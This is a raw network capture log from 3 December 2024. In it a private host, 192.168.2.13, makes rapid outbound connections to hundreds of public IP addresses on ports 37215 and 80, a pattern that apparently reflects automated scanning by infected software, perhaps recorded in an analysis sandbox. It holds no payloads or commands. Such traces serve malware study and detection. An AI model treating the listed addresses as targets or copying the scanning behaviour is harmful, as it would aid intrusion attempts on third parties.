Dec 3, 2024 21:47:24.726614952 CET	37215	59780	156.227.126.0	192.168.2.13
Dec 3, 2024 21:47:24.726721048 CET	59780	37215	192.168.2.13	156.227.126.0
Dec 3, 2024 21:47:24.727891922 CET	37215	58930	197.66.173.200	192.168.2.13
Dec 3, 2024 21:47:24.727946043 CET	58930	37215	192.168.2.13	197.66.173.200
Dec 3, 2024 21:47:24.728518009 CET	37215	34724	197.22.11.42	192.168.2.13
Dec 3, 2024 21:47:24.728609085 CET	34724	37215	192.168.2.13	197.22.11.42
Dec 3, 2024 21:47:24.769476891 CET	80	51386	219.115.34.124	192.168.2.13
Dec 3, 2024 21:47:24.769622087 CET	51386	80	192.168.2.13	219.115.34.124
Dec 3, 2024 21:47:25.236687899 CET	59400	80	192.168.2.13	206.17.226.29
Dec 3, 2024 21:47:25.236687899 CET	47062	80	192.168.2.13	167.129.209.249
Dec 3, 2024 21:47:25.236692905 CET	52038	80	192.168.2.13	151.199.164.101
Dec 3, 2024 21:47:25.236696959 CET	44326	80	192.168.2.13	165.66.103.50
Dec 3, 2024 21:47:25.236701012 CET	50048	80	192.168.2.13	217.9.92.75
Dec 3, 2024 21:47:25.236701012 CET	37184	80	192.168.2.13	49.175.230.209
Dec 3, 2024 21:47:25.236701012 CET	38602	80	192.168.2.13	87.2.29.201
Dec 3, 2024 21:47:25.236701012 CET	33310	80	192.168.2.13	84.115.17.222
Dec 3, 2024 21:47:25.236720085 CET	50096	80	192.168.2.13	87.46.134.230
Dec 3, 2024 21:47:25.236720085 CET	57576	80	192.168.2.13	135.22.204.152
Dec 3, 2024 21:47:25.236720085 CET	56416	80	192.168.2.13	101.1.73.203
Dec 3, 2024 21:47:25.236720085 CET	37350	80	192.168.2.13	116.147.27.49
Dec 3, 2024 21:47:25.236720085 CET	53246	80	192.168.2.13	208.91.209.54
Dec 3, 2024 21:47:25.236731052 CET	57058	80	192.168.2.13	128.218.148.72
Dec 3, 2024 21:47:25.236731052 CET	54320	80	192.168.2.13	89.9.140.26
Dec 3, 2024 21:47:25.236736059 CET	38312	80	192.168.2.13	94.2.223.202
Dec 3, 2024 21:47:25.236736059 CET	51828	80	192.168.2.13	219.115.34.124
Dec 3, 2024 21:47:25.236743927 CET	50434	80	192.168.2.13	14.244.19.249
Dec 3, 2024 21:47:25.268671989 CET	47096	37215	192.168.2.13	41.60.115.8
Dec 3, 2024 21:47:25.268692970 CET	51292	37215	192.168.2.13	41.130.219.75
Dec 3, 2024 21:47:25.268702030 CET	52870	37215	192.168.2.13	156.230.149.174
Dec 3, 2024 21:47:25.268702030 CET	51350	37215	192.168.2.13	156.120.218.74
Dec 3, 2024 21:47:25.268702030 CET	47708	37215	192.168.2.13	197.241.234.235
Dec 3, 2024 21:47:25.268702030 CET	52824	37215	192.168.2.13	41.70.169.235
Dec 3, 2024 21:47:25.268704891 CET	52076	37215	192.168.2.13	156.244.222.255
Dec 3, 2024 21:47:25.268706083 CET	35446	37215	192.168.2.13	41.18.160.244
Dec 3, 2024 21:47:25.268706083 CET	38252	37215	192.168.2.13	197.217.135.4
Dec 3, 2024 21:47:25.268704891 CET	42048	37215	192.168.2.13	197.140.239.213
Dec 3, 2024 21:47:25.268706083 CET	60128	37215	192.168.2.13	156.142.143.175
Dec 3, 2024 21:47:25.268704891 CET	51976	37215	192.168.2.13	156.41.38.126
Dec 3, 2024 21:47:25.268729925 CET	49998	37215	192.168.2.13	197.216.132.14
Dec 3, 2024 21:47:25.268729925 CET	47650	37215	192.168.2.13	156.18.176.47
Dec 3, 2024 21:47:25.268729925 CET	34438	37215	192.168.2.13	41.11.208.38
Dec 3, 2024 21:47:25.268735886 CET	51858	37215	192.168.2.13	156.137.59.179
Dec 3, 2024 21:47:25.268734932 CET	49042	37215	192.168.2.13	156.81.165.124
Dec 3, 2024 21:47:25.268734932 CET	36698	37215	192.168.2.13	41.26.12.27
Dec 3, 2024 21:47:25.268738031 CET	59084	37215	192.168.2.13	41.248.180.24
Dec 3, 2024 21:47:25.268738031 CET	42164	37215	192.168.2.13	197.22.134.226
Dec 3, 2024 21:47:25.268738031 CET	51982	37215	192.168.2.13	197.155.147.73
Dec 3, 2024 21:47:25.268738031 CET	35676	37215	192.168.2.13	197.66.11.86
Dec 3, 2024 21:47:25.268738031 CET	53170	37215	192.168.2.13	197.127.150.255
Dec 3, 2024 21:47:25.268734932 CET	53918	37215	192.168.2.13	156.115.33.143
Dec 3, 2024 21:47:25.268734932 CET	34534	37215	192.168.2.13	197.105.1.48
Dec 3, 2024 21:47:25.268734932 CET	34998	37215	192.168.2.13	197.189.180.232
Dec 3, 2024 21:47:25.268738031 CET	46270	37215	192.168.2.13	197.101.126.167
Dec 3, 2024 21:47:25.268734932 CET	58070	37215	192.168.2.13	156.241.177.227
Dec 3, 2024 21:47:25.268738031 CET	43096	37215	192.168.2.13	197.191.47.123
Dec 3, 2024 21:47:25.268734932 CET	59258	37215	192.168.2.13	197.85.113.143
Dec 3, 2024 21:47:25.268755913 CET	41900	37215	192.168.2.13	41.252.167.141
Dec 3, 2024 21:47:25.268755913 CET	41344	37215	192.168.2.13	41.206.100.21
Dec 3, 2024 21:47:25.268757105 CET	47568	37215	192.168.2.13	156.227.147.148
Dec 3, 2024 21:47:25.268757105 CET	59260	37215	192.168.2.13	156.9.237.76
Dec 3, 2024 21:47:25.268757105 CET	49896	37215	192.168.2.13	156.186.192.169
Dec 3, 2024 21:47:25.268757105 CET	43458	37215	192.168.2.13	197.131.66.97
Dec 3, 2024 21:47:25.268765926 CET	39234	37215	192.168.2.13	197.70.204.94
Dec 3, 2024 21:47:25.268765926 CET	53288	37215	192.168.2.13	197.197.99.27
Dec 3, 2024 21:47:25.268765926 CET	54482	37215	192.168.2.13	41.159.45.219
Dec 3, 2024 21:47:25.268765926 CET	46910	37215	192.168.2.13	156.244.170.80
Dec 3, 2024 21:47:25.268765926 CET	57744	37215	192.168.2.13	156.224.249.242
Dec 3, 2024 21:47:25.268765926 CET	36642	37215	192.168.2.13	41.78.110.252
Dec 3, 2024 21:47:25.268771887 CET	51276	37215	192.168.2.13	197.49.143.54
Dec 3, 2024 21:47:25.268771887 CET	55416	37215	192.168.2.13	156.155.65.188
Dec 3, 2024 21:47:25.268771887 CET	47108	37215	192.168.2.13	156.1.31.252
Dec 3, 2024 21:47:25.268771887 CET	33198	37215	192.168.2.13	41.204.185.224
Dec 3, 2024 21:47:25.268771887 CET	36714	37215	192.168.2.13	197.21.36.108
Dec 3, 2024 21:47:25.268771887 CET	38170	37215	192.168.2.13	197.57.94.143
Dec 3, 2024 21:47:25.268780947 CET	37690	37215	192.168.2.13	197.66.54.252
Dec 3, 2024 21:47:25.268780947 CET	59244	37215	192.168.2.13	41.196.63.217
Dec 3, 2024 21:47:25.268807888 CET	60122	37215	192.168.2.13	156.167.186.216
Dec 3, 2024 21:47:25.268829107 CET	44252	37215	192.168.2.13	41.59.158.178
Dec 3, 2024 21:47:25.300623894 CET	39974	80	192.168.2.13	190.171.181.209
Dec 3, 2024 21:47:25.300630093 CET	36810	80	192.168.2.13	72.97.142.213
Dec 3, 2024 21:47:25.300647974 CET	36550	80	192.168.2.13	216.217.165.253
Dec 3, 2024 21:47:25.300647974 CET	41174	80	192.168.2.13	12.24.147.177
Dec 3, 2024 21:47:25.300648928 CET	41936	37215	192.168.2.13	197.233.207.19
Dec 3, 2024 21:47:25.300648928 CET	35028	37215	192.168.2.13	156.157.158.180
Dec 3, 2024 21:47:25.300657988 CET	44560	37215	192.168.2.13	197.102.244.208
Dec 3, 2024 21:47:25.300657988 CET	35846	37215	192.168.2.13	197.79.18.120
Dec 3, 2024 21:47:25.300671101 CET	56176	37215	192.168.2.13	41.84.2.171
Dec 3, 2024 21:47:25.300671101 CET	56054	37215	192.168.2.13	41.179.108.209
Dec 3, 2024 21:47:25.300671101 CET	55164	37215	192.168.2.13	156.238.129.211
Dec 3, 2024 21:47:25.300678015 CET	54424	80	192.168.2.13	62.250.47.221
Dec 3, 2024 21:47:25.300678968 CET	36316	37215	192.168.2.13	41.170.21.145
Dec 3, 2024 21:47:25.300678968 CET	34918	37215	192.168.2.13	156.18.66.100
Dec 3, 2024 21:47:25.300678968 CET	58536	80	192.168.2.13	107.213.65.9
Dec 3, 2024 21:47:25.300678968 CET	44752	80	192.168.2.13	126.129.144.5
Dec 3, 2024 21:47:25.300693989 CET	60506	37215	192.168.2.13	41.193.68.101
Dec 3, 2024 21:47:25.300693989 CET	45824	37215	192.168.2.13	41.227.92.100
Dec 3, 2024 21:47:25.358584881 CET	80	52038	151.199.164.101	192.168.2.13
Dec 3, 2024 21:47:25.358596087 CET	80	44326	165.66.103.50	192.168.2.13
Dec 3, 2024 21:47:25.358611107 CET	80	59400	206.17.226.29	192.168.2.13
Dec 3, 2024 21:47:25.358619928 CET	80	47062	167.129.209.249	192.168.2.13
Dec 3, 2024 21:47:25.358632088 CET	80	57058	128.218.148.72	192.168.2.13
Dec 3, 2024 21:47:25.358649015 CET	80	50048	217.9.92.75	192.168.2.13
Dec 3, 2024 21:47:25.358655930 CET	80	54320	89.9.140.26	192.168.2.13
Dec 3, 2024 21:47:25.358664036 CET	80	38312	94.2.223.202	192.168.2.13
Dec 3, 2024 21:47:25.358679056 CET	80	37184	49.175.230.209	192.168.2.13
Dec 3, 2024 21:47:25.358683109 CET	80	38602	87.2.29.201	192.168.2.13
Dec 3, 2024 21:47:25.358690023 CET	80	50434	14.244.19.249	192.168.2.13
Dec 3, 2024 21:47:25.358717918 CET	52038	80	192.168.2.13	151.199.164.101
Dec 3, 2024 21:47:25.358724117 CET	44326	80	192.168.2.13	165.66.103.50
Dec 3, 2024 21:47:25.358731985 CET	47062	80	192.168.2.13	167.129.209.249
Dec 3, 2024 21:47:25.358732939 CET	50434	80	192.168.2.13	14.244.19.249
Dec 3, 2024 21:47:25.358735085 CET	59400	80	192.168.2.13	206.17.226.29
Dec 3, 2024 21:47:25.358735085 CET	57058	80	192.168.2.13	128.218.148.72
Dec 3, 2024 21:47:25.358737946 CET	50048	80	192.168.2.13	217.9.92.75
Dec 3, 2024 21:47:25.358737946 CET	38602	80	192.168.2.13	87.2.29.201
Dec 3, 2024 21:47:25.358755112 CET	38312	80	192.168.2.13	94.2.223.202
Dec 3, 2024 21:47:25.358758926 CET	54320	80	192.168.2.13	89.9.140.26
Dec 3, 2024 21:47:25.358762026 CET	37184	80	192.168.2.13	49.175.230.209
Dec 3, 2024 21:47:25.358803988 CET	80	50096	87.46.134.230	192.168.2.13
Dec 3, 2024 21:47:25.358810902 CET	80	51828	219.115.34.124	192.168.2.13
Dec 3, 2024 21:47:25.358824015 CET	80	33310	84.115.17.222	192.168.2.13
Dec 3, 2024 21:47:25.358841896 CET	80	57576	135.22.204.152	192.168.2.13
Dec 3, 2024 21:47:25.358850002 CET	51828	80	192.168.2.13	219.115.34.124
Dec 3, 2024 21:47:25.358854055 CET	50096	80	192.168.2.13	87.46.134.230
Dec 3, 2024 21:47:25.358865023 CET	33310	80	192.168.2.13	84.115.17.222
Dec 3, 2024 21:47:25.358870983 CET	57576	80	192.168.2.13	135.22.204.152
Dec 3, 2024 21:47:25.358928919 CET	50434	80	192.168.2.13	14.244.19.249
Dec 3, 2024 21:47:25.358933926 CET	54320	80	192.168.2.13	89.9.140.26
Dec 3, 2024 21:47:25.358942986 CET	38312	80	192.168.2.13	94.2.223.202
Dec 3, 2024 21:47:25.358959913 CET	50048	80	192.168.2.13	217.9.92.75
Dec 3, 2024 21:47:25.358967066 CET	80	56416	101.1.73.203	192.168.2.13
Dec 3, 2024 21:47:25.358968019 CET	57058	80	192.168.2.13	128.218.148.72
Dec 3, 2024 21:47:25.358968019 CET	59400	80	192.168.2.13	206.17.226.29
Dec 3, 2024 21:47:25.358972073 CET	38602	80	192.168.2.13	87.2.29.201
Dec 3, 2024 21:47:25.358973980 CET	80	37350	116.147.27.49	192.168.2.13
Dec 3, 2024 21:47:25.358977079 CET	52038	80	192.168.2.13	151.199.164.101
Dec 3, 2024 21:47:25.358985901 CET	80	53246	208.91.209.54	192.168.2.13
Dec 3, 2024 21:47:25.358993053 CET	44326	80	192.168.2.13	165.66.103.50
Dec 3, 2024 21:47:25.359015942 CET	37184	80	192.168.2.13	49.175.230.209
Dec 3, 2024 21:47:25.359015942 CET	47062	80	192.168.2.13	167.129.209.249
Dec 3, 2024 21:47:25.359024048 CET	56416	80	192.168.2.13	101.1.73.203
Dec 3, 2024 21:47:25.359024048 CET	37350	80	192.168.2.13	116.147.27.49
Dec 3, 2024 21:47:25.359024048 CET	53246	80	192.168.2.13	208.91.209.54
Dec 3, 2024 21:47:25.359052896 CET	39419	80	192.168.2.13	66.104.233.206
Dec 3, 2024 21:47:25.359067917 CET	39419	80	192.168.2.13	155.105.23.33
Dec 3, 2024 21:47:25.359067917 CET	39419	80	192.168.2.13	53.2.196.30
Dec 3, 2024 21:47:25.359071970 CET	39419	80	192.168.2.13	13.92.149.139
Dec 3, 2024 21:47:25.359072924 CET	39419	80	192.168.2.13	75.254.147.50
Dec 3, 2024 21:47:25.359072924 CET	39419	80	192.168.2.13	95.231.217.193
Dec 3, 2024 21:47:25.359074116 CET	39419	80	192.168.2.13	167.27.167.164
Dec 3, 2024 21:47:25.359072924 CET	39419	80	192.168.2.13	212.156.168.236
Dec 3, 2024 21:47:25.359080076 CET	39419	80	192.168.2.13	40.170.153.39
Dec 3, 2024 21:47:25.359091043 CET	39419	80	192.168.2.13	92.196.9.186
Dec 3, 2024 21:47:25.359092951 CET	39419	80	192.168.2.13	82.106.169.10
Dec 3, 2024 21:47:25.359091997 CET	39419	80	192.168.2.13	95.34.239.141
Dec 3, 2024 21:47:25.359101057 CET	39419	80	192.168.2.13	192.71.133.178
Dec 3, 2024 21:47:25.359105110 CET	39419	80	192.168.2.13	146.149.154.185
Dec 3, 2024 21:47:25.359107971 CET	39419	80	192.168.2.13	47.71.27.35
Dec 3, 2024 21:47:25.359107971 CET	39419	80	192.168.2.13	107.180.211.190
Dec 3, 2024 21:47:25.359122992 CET	39419	80	192.168.2.13	222.225.127.10
Dec 3, 2024 21:47:25.359122992 CET	39419	80	192.168.2.13	5.33.240.233
Dec 3, 2024 21:47:25.359127045 CET	39419	80	192.168.2.13	53.147.130.12
Dec 3, 2024 21:47:25.359132051 CET	39419	80	192.168.2.13	68.247.84.203
Dec 3, 2024 21:47:25.359133959 CET	39419	80	192.168.2.13	135.175.122.109
Dec 3, 2024 21:47:25.359143019 CET	39419	80	192.168.2.13	204.65.46.130
Dec 3, 2024 21:47:25.359157085 CET	39419	80	192.168.2.13	114.6.89.131
Dec 3, 2024 21:47:25.359158039 CET	39419	80	192.168.2.13	129.163.132.254
Dec 3, 2024 21:47:25.359168053 CET	39419	80	192.168.2.13	154.148.39.25
Dec 3, 2024 21:47:25.359169006 CET	39419	80	192.168.2.13	52.66.133.30
Dec 3, 2024 21:47:25.359179974 CET	39419	80	192.168.2.13	2.42.56.214
Dec 3, 2024 21:47:25.359179974 CET	39419	80	192.168.2.13	131.111.197.11
Dec 3, 2024 21:47:25.359180927 CET	39419	80	192.168.2.13	9.36.30.68
Dec 3, 2024 21:47:25.359189034 CET	39419	80	192.168.2.13	77.34.79.116
Dec 3, 2024 21:47:25.359189034 CET	39419	80	192.168.2.13	133.128.219.155
Dec 3, 2024 21:47:25.359200954 CET	39419	80	192.168.2.13	63.146.143.117
Dec 3, 2024 21:47:25.359210014 CET	39419	80	192.168.2.13	67.201.10.28
Dec 3, 2024 21:47:25.359211922 CET	39419	80	192.168.2.13	210.191.206.15
Dec 3, 2024 21:47:25.359220982 CET	39419	80	192.168.2.13	49.92.109.219
Dec 3, 2024 21:47:25.359227896 CET	39419	80	192.168.2.13	95.179.54.89
Dec 3, 2024 21:47:25.359235048 CET	39419	80	192.168.2.13	116.194.63.71
Dec 3, 2024 21:47:25.359246016 CET	39419	80	192.168.2.13	178.199.131.109
Dec 3, 2024 21:47:25.359246016 CET	39419	80	192.168.2.13	161.185.212.54
Dec 3, 2024 21:47:25.359256029 CET	39419	80	192.168.2.13	1.196.198.221
Dec 3, 2024 21:47:25.359266996 CET	39419	80	192.168.2.13	78.17.191.206
Dec 3, 2024 21:47:25.359275103 CET	39419	80	192.168.2.13	9.193.132.93
Dec 3, 2024 21:47:25.359276056 CET	39419	80	192.168.2.13	123.194.230.59
Dec 3, 2024 21:47:25.359277010 CET	39419	80	192.168.2.13	81.255.143.210
Dec 3, 2024 21:47:25.359278917 CET	39419	80	192.168.2.13	131.151.250.172
Dec 3, 2024 21:47:25.359287024 CET	39419	80	192.168.2.13	41.203.9.102
Dec 3, 2024 21:47:25.359287024 CET	39419	80	192.168.2.13	177.253.57.172
Dec 3, 2024 21:47:25.359294891 CET	39419	80	192.168.2.13	204.217.100.10
Dec 3, 2024 21:47:25.359299898 CET	39419	80	192.168.2.13	57.50.195.228
Dec 3, 2024 21:47:25.359303951 CET	39419	80	192.168.2.13	109.0.67.22
Dec 3, 2024 21:47:25.359319925 CET	39419	80	192.168.2.13	154.134.114.11
Dec 3, 2024 21:47:25.359329939 CET	39419	80	192.168.2.13	213.135.93.119
Dec 3, 2024 21:47:25.359330893 CET	39419	80	192.168.2.13	162.28.177.115
Dec 3, 2024 21:47:25.359330893 CET	39419	80	192.168.2.13	211.202.242.122
Dec 3, 2024 21:47:25.359333038 CET	39419	80	192.168.2.13	129.213.203.250
Dec 3, 2024 21:47:25.359333038 CET	39419	80	192.168.2.13	108.144.39.163
Dec 3, 2024 21:47:25.359333038 CET	39419	80	192.168.2.13	177.75.53.227
Dec 3, 2024 21:47:25.359338045 CET	39419	80	192.168.2.13	40.2.218.109
Dec 3, 2024 21:47:25.359342098 CET	39419	80	192.168.2.13	154.159.136.98
Dec 3, 2024 21:47:25.359343052 CET	39419	80	192.168.2.13	173.236.155.88
Dec 3, 2024 21:47:25.359347105 CET	39419	80	192.168.2.13	73.204.37.28
Dec 3, 2024 21:47:25.359353065 CET	39419	80	192.168.2.13	115.63.103.173
Dec 3, 2024 21:47:25.359354973 CET	39419	80	192.168.2.13	122.215.252.74
Dec 3, 2024 21:47:25.359364033 CET	39419	80	192.168.2.13	60.247.208.201
Dec 3, 2024 21:47:25.359365940 CET	39419	80	192.168.2.13	178.22.5.6
Dec 3, 2024 21:47:25.359369040 CET	39419	80	192.168.2.13	124.174.154.239
Dec 3, 2024 21:47:25.359369040 CET	39419	80	192.168.2.13	69.236.47.154
Dec 3, 2024 21:47:25.359369040 CET	39419	80	192.168.2.13	195.128.219.17
Dec 3, 2024 21:47:25.359373093 CET	39419	80	192.168.2.13	108.34.140.224
Dec 3, 2024 21:47:25.359381914 CET	39419	80	192.168.2.13	117.239.230.155
Dec 3, 2024 21:47:25.359388113 CET	39419	80	192.168.2.13	192.180.88.63
Dec 3, 2024 21:47:25.359389067 CET	39419	80	192.168.2.13	152.13.47.235
Dec 3, 2024 21:47:25.359389067 CET	39419	80	192.168.2.13	64.79.136.60
Dec 3, 2024 21:47:25.359389067 CET	39419	80	192.168.2.13	144.195.15.17
Dec 3, 2024 21:47:25.359391928 CET	39419	80	192.168.2.13	158.47.10.29
Dec 3, 2024 21:47:25.359397888 CET	39419	80	192.168.2.13	59.200.74.18
Dec 3, 2024 21:47:25.359399080 CET	39419	80	192.168.2.13	218.137.112.201
Dec 3, 2024 21:47:25.359399080 CET	39419	80	192.168.2.13	58.206.30.96
Dec 3, 2024 21:47:25.359399080 CET	39419	80	192.168.2.13	126.32.196.80
Dec 3, 2024 21:47:25.359405041 CET	39419	80	192.168.2.13	183.129.166.122
Dec 3, 2024 21:47:25.359405041 CET	39419	80	192.168.2.13	177.205.140.28
Dec 3, 2024 21:47:25.359409094 CET	39419	80	192.168.2.13	66.135.19.10
Dec 3, 2024 21:47:25.359421015 CET	39419	80	192.168.2.13	77.166.227.121
Dec 3, 2024 21:47:25.359424114 CET	39419	80	192.168.2.13	104.55.47.38
Dec 3, 2024 21:47:25.359424114 CET	39419	80	192.168.2.13	138.74.241.182
Dec 3, 2024 21:47:25.359426022 CET	39419	80	192.168.2.13	70.231.185.59
Dec 3, 2024 21:47:25.359440088 CET	39419	80	192.168.2.13	72.171.187.21
Dec 3, 2024 21:47:25.359440088 CET	39419	80	192.168.2.13	23.152.125.59
Dec 3, 2024 21:47:25.359440088 CET	39419	80	192.168.2.13	50.246.62.112
Dec 3, 2024 21:47:25.359442949 CET	39419	80	192.168.2.13	158.103.49.38
Dec 3, 2024 21:47:25.359442949 CET	39419	80	192.168.2.13	171.158.23.208
Dec 3, 2024 21:47:25.359443903 CET	39419	80	192.168.2.13	111.16.213.8
Dec 3, 2024 21:47:25.359443903 CET	39419	80	192.168.2.13	46.25.76.219
Dec 3, 2024 21:47:25.359446049 CET	39419	80	192.168.2.13	206.82.135.208
Dec 3, 2024 21:47:25.359446049 CET	39419	80	192.168.2.13	95.189.10.178
Dec 3, 2024 21:47:25.359446049 CET	39419	80	192.168.2.13	18.239.103.225
Dec 3, 2024 21:47:25.359457970 CET	39419	80	192.168.2.13	67.141.237.106
Dec 3, 2024 21:47:25.359457970 CET	39419	80	192.168.2.13	159.228.136.243
Dec 3, 2024 21:47:25.359457970 CET	39419	80	192.168.2.13	136.146.111.27
Dec 3, 2024 21:47:25.359460115 CET	39419	80	192.168.2.13	65.94.130.195
Dec 3, 2024 21:47:25.359461069 CET	39419	80	192.168.2.13	107.54.104.97
Dec 3, 2024 21:47:25.359461069 CET	39419	80	192.168.2.13	106.196.67.143
Dec 3, 2024 21:47:25.359471083 CET	39419	80	192.168.2.13	38.102.182.223
Dec 3, 2024 21:47:25.359471083 CET	39419	80	192.168.2.13	189.218.163.126
Dec 3, 2024 21:47:25.359477997 CET	39419	80	192.168.2.13	188.30.102.42
Dec 3, 2024 21:47:25.359477997 CET	39419	80	192.168.2.13	62.227.20.185
Dec 3, 2024 21:47:25.359478951 CET	39419	80	192.168.2.13	49.93.168.94
Dec 3, 2024 21:47:25.359478951 CET	39419	80	192.168.2.13	64.184.100.24
Dec 3, 2024 21:47:25.359478951 CET	39419	80	192.168.2.13	164.45.56.71
Dec 3, 2024 21:47:25.359481096 CET	39419	80	192.168.2.13	172.73.183.9
Dec 3, 2024 21:47:25.359481096 CET	39419	80	192.168.2.13	92.210.59.63
Dec 3, 2024 21:47:25.359497070 CET	39419	80	192.168.2.13	221.183.39.7
Dec 3, 2024 21:47:25.359498024 CET	39419	80	192.168.2.13	76.66.75.92
Dec 3, 2024 21:47:25.359497070 CET	39419	80	192.168.2.13	220.80.113.216
Dec 3, 2024 21:47:25.359498024 CET	39419	80	192.168.2.13	124.149.70.235
Dec 3, 2024 21:47:25.359502077 CET	39419	80	192.168.2.13	75.100.104.193
Dec 3, 2024 21:47:25.359498024 CET	39419	80	192.168.2.13	149.205.145.224
Dec 3, 2024 21:47:25.359498024 CET	39419	80	192.168.2.13	164.253.8.185
Dec 3, 2024 21:47:25.359500885 CET	39419	80	192.168.2.13	106.193.44.60
Dec 3, 2024 21:47:25.359503031 CET	39419	80	192.168.2.13	34.238.89.48
Dec 3, 2024 21:47:25.359500885 CET	39419	80	192.168.2.13	108.155.63.163
Dec 3, 2024 21:47:25.359502077 CET	39419	80	192.168.2.13	143.75.30.183
Dec 3, 2024 21:47:25.359503031 CET	39419	80	192.168.2.13	165.99.10.203
Dec 3, 2024 21:47:25.359513044 CET	39419	80	192.168.2.13	181.246.219.82
Dec 3, 2024 21:47:25.359517097 CET	39419	80	192.168.2.13	156.78.148.107
Dec 3, 2024 21:47:25.359517097 CET	39419	80	192.168.2.13	209.4.42.74
Dec 3, 2024 21:47:25.359517097 CET	39419	80	192.168.2.13	166.224.240.153
Dec 3, 2024 21:47:25.359519958 CET	39419	80	192.168.2.13	92.1.223.28
Dec 3, 2024 21:47:25.359519958 CET	39419	80	192.168.2.13	52.177.2.2
Dec 3, 2024 21:47:25.359519958 CET	39419	80	192.168.2.13	91.158.9.77
Dec 3, 2024 21:47:25.359524012 CET	39419	80	192.168.2.13	143.76.26.55
Dec 3, 2024 21:47:25.359524965 CET	39419	80	192.168.2.13	223.29.182.129
Dec 3, 2024 21:47:25.359528065 CET	39419	80	192.168.2.13	24.159.45.0
Dec 3, 2024 21:47:25.359528065 CET	39419	80	192.168.2.13	220.40.1.94
Dec 3, 2024 21:47:25.359544992 CET	39419	80	192.168.2.13	75.206.64.214
Dec 3, 2024 21:47:25.359544992 CET	39419	80	192.168.2.13	115.185.0.87
Dec 3, 2024 21:47:25.359545946 CET	39419	80	192.168.2.13	82.144.55.75
Dec 3, 2024 21:47:25.359545946 CET	39419	80	192.168.2.13	145.201.169.184
Dec 3, 2024 21:47:25.359545946 CET	39419	80	192.168.2.13	96.136.210.235
Dec 3, 2024 21:47:25.359546900 CET	39419	80	192.168.2.13	1.32.236.252
Dec 3, 2024 21:47:25.359548092 CET	39419	80	192.168.2.13	82.39.134.117
Dec 3, 2024 21:47:25.359546900 CET	39419	80	192.168.2.13	66.54.112.189
Dec 3, 2024 21:47:25.359546900 CET	39419	80	192.168.2.13	12.143.255.255
Dec 3, 2024 21:47:25.359548092 CET	39419	80	192.168.2.13	198.247.100.230
Dec 3, 2024 21:47:25.359560966 CET	39419	80	192.168.2.13	17.105.9.240
Dec 3, 2024 21:47:25.359561920 CET	39419	80	192.168.2.13	14.246.141.45
Dec 3, 2024 21:47:25.359561920 CET	39419	80	192.168.2.13	40.246.205.48
Dec 3, 2024 21:47:25.359560966 CET	39419	80	192.168.2.13	115.124.128.21
Dec 3, 2024 21:47:25.359564066 CET	39419	80	192.168.2.13	5.66.250.175
Dec 3, 2024 21:47:25.359565973 CET	39419	80	192.168.2.13	133.71.112.41
Dec 3, 2024 21:47:25.359565973 CET	39419	80	192.168.2.13	88.124.15.56
Dec 3, 2024 21:47:25.359570026 CET	39419	80	192.168.2.13	75.49.187.22
Dec 3, 2024 21:47:25.359571934 CET	39419	80	192.168.2.13	95.228.162.223
Dec 3, 2024 21:47:25.359594107 CET	39419	80	192.168.2.13	223.130.123.105
Dec 3, 2024 21:47:25.359594107 CET	39419	80	192.168.2.13	37.147.91.74
Dec 3, 2024 21:47:25.359594107 CET	39419	80	192.168.2.13	17.44.239.238
Dec 3, 2024 21:47:25.359594107 CET	39419	80	192.168.2.13	178.107.60.254
Dec 3, 2024 21:47:25.359594107 CET	39419	80	192.168.2.13	213.235.129.38
Dec 3, 2024 21:47:25.359596014 CET	39419	80	192.168.2.13	155.78.241.21
Dec 3, 2024 21:47:25.359596968 CET	39419	80	192.168.2.13	167.126.59.124
Dec 3, 2024 21:47:25.359596014 CET	39419	80	192.168.2.13	132.100.217.197
Dec 3, 2024 21:47:25.359596968 CET	39419	80	192.168.2.13	219.70.32.8
Dec 3, 2024 21:47:25.359601021 CET	39419	80	192.168.2.13	24.56.117.128
Dec 3, 2024 21:47:25.359596968 CET	39419	80	192.168.2.13	70.64.111.75
Dec 3, 2024 21:47:25.359601021 CET	39419	80	192.168.2.13	144.204.145.181
Dec 3, 2024 21:47:25.359594107 CET	39419	80	192.168.2.13	130.54.163.176
Dec 3, 2024 21:47:25.359601021 CET	39419	80	192.168.2.13	87.226.190.64
Dec 3, 2024 21:47:25.359594107 CET	39419	80	192.168.2.13	138.61.231.25
Dec 3, 2024 21:47:25.359594107 CET	39419	80	192.168.2.13	52.128.224.193
Dec 3, 2024 21:47:25.359594107 CET	39419	80	192.168.2.13	158.180.235.37
Dec 3, 2024 21:47:25.359617949 CET	39419	80	192.168.2.13	66.34.3.10
Dec 3, 2024 21:47:25.359617949 CET	39419	80	192.168.2.13	152.219.138.116
Dec 3, 2024 21:47:25.359620094 CET	39419	80	192.168.2.13	36.254.217.121
Dec 3, 2024 21:47:25.359620094 CET	39419	80	192.168.2.13	114.40.52.78
Dec 3, 2024 21:47:25.359620094 CET	39419	80	192.168.2.13	4.43.57.147
Dec 3, 2024 21:47:25.359623909 CET	39419	80	192.168.2.13	67.136.81.45
Dec 3, 2024 21:47:25.359625101 CET	39419	80	192.168.2.13	49.92.217.164
Dec 3, 2024 21:47:25.359625101 CET	39419	80	192.168.2.13	27.171.140.100
Dec 3, 2024 21:47:25.359625101 CET	39419	80	192.168.2.13	163.229.20.243
Dec 3, 2024 21:47:25.359628916 CET	39419	80	192.168.2.13	152.74.91.242
Dec 3, 2024 21:47:25.359630108 CET	39419	80	192.168.2.13	131.66.164.37
Dec 3, 2024 21:47:25.359630108 CET	39419	80	192.168.2.13	147.209.210.205
Dec 3, 2024 21:47:25.359632015 CET	39419	80	192.168.2.13	163.216.133.132
Dec 3, 2024 21:47:25.359635115 CET	39419	80	192.168.2.13	189.30.62.159
Dec 3, 2024 21:47:25.359646082 CET	39419	80	192.168.2.13	96.4.28.95
Dec 3, 2024 21:47:25.359646082 CET	39419	80	192.168.2.13	126.228.39.215
Dec 3, 2024 21:47:25.359649897 CET	39419	80	192.168.2.13	78.206.158.202
Dec 3, 2024 21:47:25.359649897 CET	39419	80	192.168.2.13	82.77.166.157
Dec 3, 2024 21:47:25.359649897 CET	39419	80	192.168.2.13	148.91.142.157
Dec 3, 2024 21:47:25.359649897 CET	39419	80	192.168.2.13	24.53.106.172
Dec 3, 2024 21:47:25.359652996 CET	39419	80	192.168.2.13	110.91.187.221
Dec 3, 2024 21:47:25.359652996 CET	39419	80	192.168.2.13	209.189.213.25
Dec 3, 2024 21:47:25.359656096 CET	39419	80	192.168.2.13	192.41.79.246
Dec 3, 2024 21:47:25.359656096 CET	39419	80	192.168.2.13	105.215.116.145
Dec 3, 2024 21:47:25.359668970 CET	39419	80	192.168.2.13	68.126.169.109
Dec 3, 2024 21:47:25.359674931 CET	39419	80	192.168.2.13	145.95.66.95
